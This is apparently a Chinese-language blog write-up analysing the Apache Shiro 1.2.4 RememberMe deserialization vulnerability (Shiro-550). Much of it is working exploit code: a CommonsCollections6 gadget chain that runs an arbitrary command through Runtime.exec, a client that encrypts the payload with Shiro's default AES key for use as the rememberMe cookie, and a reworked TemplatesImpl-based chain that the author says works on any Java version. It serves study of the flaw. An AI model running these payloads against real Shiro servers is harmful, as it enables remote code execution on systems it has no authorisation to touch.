Shiro RememberMe 1.2.4反序列化漏洞分析
Shiro RememberMe 1.2.4反序列化漏洞分析
首先我们用P神的环境搭建一个最简单的shiro demo
JavaThings/shirodemo at master · phith0n/JavaThings · GitHub
如果我们登录,就会产生一个remeberMe的cookie
对此,我们的攻击过程如下:
1.使用之前学过的CommonsCollection利用链生成反序列化payload
2.使用Shiro默认Key进行加密
3.将密文作为rememberMe的Cookie发送给服务端
以下是用到的exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
Client0.java
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key =
java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
加密的过程中,直接使用shiro内置类 org.apache.shiro.crypto.AesCipherService
进行加密。
如果把生成的字符串直接作为remenberMe传入,发现其实并没有执行命令。
根据P神的说法,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
因为用到了Transformer数组
构造不含数组的反序列化Gadget
所以这就需要之前说到的TemplatesImpl
了。我们之前知道,可以通过下面的代码执行Java字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
回顾以下,在CC6中,我们用到了一个类TiedMapEntry
,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry
类有个 getValue
方法,调用了map
的 get
方法,并传入key:
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时,就是触发transform的关键点
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get
方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer
,我们通过ConstantTransformer来初始化 恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get
的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
我们再来看一下Transform数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj)
这一步完全是可以去除了,数组长度变为1.那么也就不需要数组了。
改造CC6为CC_Shiro
首先是创建TemplatesImpl
对象。
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer方法的InvokerTransformer,
再把老的CC6链代码复制过来。
然后将TiedMapEntry的第二个参数key,改为前面创建的TemplatesImpl
对象:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
这一个Gadget其实就是ysoserial/CommonsCollectionsK1.java at master · zema1/ysoserial · GitHub
经过测试,这个payload可以在java任意版本使用。
这个其实就是shiro550的原理。
shiro550的修复其实就是key被换掉了。